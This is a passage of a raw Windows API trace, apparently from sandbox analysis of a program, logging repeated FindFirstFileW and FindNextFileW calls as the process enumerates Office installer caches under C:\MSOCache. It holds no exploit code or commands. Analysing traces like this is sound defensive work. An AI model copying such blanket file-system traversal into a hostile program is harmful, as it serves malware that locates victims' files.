ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.934] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0194.934] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0194.934] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0194.934] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0194.934] FindClose (in: hFindFile=0x6396c8 | out: hFindFile=0x6396c8) returned 1 [0194.934] GetProcessHeap () returned 0x550000 [0194.934] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2591068 | out: hHeap=0x550000) returned 1 [0194.934] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0194.935] GetProcessHeap () returned 0x550000 [0194.935] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2591068 [0194.935] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6396c8 [0194.935] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.935] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0194.935] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0194.935] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0194.935] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0194.935] FindClose (in: hFindFile=0x6396c8 | out: hFindFile=0x6396c8) returned 1 [0194.936] GetProcessHeap () returned 0x550000 [0194.936] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2591068 | out: hHeap=0x550000) returned 1 [0194.937] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0194.937] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0194.937] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0194.937] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0194.937] FindClose (in: hFindFile=0x639688 | out: hFindFile=0x639688) returned 1 [0194.937] GetProcessHeap () returned 0x550000 [0194.937] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2580058 | out: hHeap=0x550000) returned 1 [0194.938] FindNextFileW (in: hFindFile=0x639648, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95310~1")) returned 1 [0194.938] GetProcessHeap () returned 0x550000 [0194.938] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2580058 [0194.938] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639688 [0194.947] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.947] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0194.947] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0194.947] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1 [0194.948] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0194.948] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0194.948] FindClose (in: hFindFile=0x639688 | out: hFindFile=0x639688) returned 1 [0194.949] GetProcessHeap () returned 0x550000 [0194.949] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2580058 | out: hHeap=0x550000) returned 1 [0194.949] FindNextFileW (in: hFindFile=0x639648, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="{91454~1")) returned 1 [0194.949] GetProcessHeap () returned 0x550000 [0194.949] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2580058 [0194.949] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639688 [0194.966] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.966] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0194.967] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi", cAlternateFileName="INFOPA~1.MSI")) returned 1 [0194.967] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml", cAlternateFileName="INFOPA~1.XML")) returned 1 [0194.967] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0194.967] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0194.967] FindClose (in: hFindFile=0x639688 | out: hFindFile=0x639688) returned 1 [0194.969] GetProcessHeap () returned 0x550000 [0194.969] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2580058 | out: hHeap=0x550000) returned 1 [0194.969] FindNextFileW (in: hFindFile=0x639648, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9EA85~1")) returned 1 [0194.969] GetProcessHeap () returned 0x550000 [0194.969] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2580058 [0194.969] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639688 [0194.969] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.969] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0194.969] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1 [0194.969] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1 [0194.970] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1 [0194.970] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0 [0194.970] FindClose (in: hFindFile=0x639688 | out: hFindFile=0x639688) returned 1 [0194.970] GetProcessHeap () returned 0x550000 [0194.970] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2580058 | out: hHeap=0x550000) returned 1 [0194.970] FindNextFileW (in: hFindFile=0x639648, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92572~1")) returned 1 [0194.970] GetProcessHeap () returned 0x550000 [0194.970] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2580058 [0194.970] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639688 [0194.971] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.971] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, 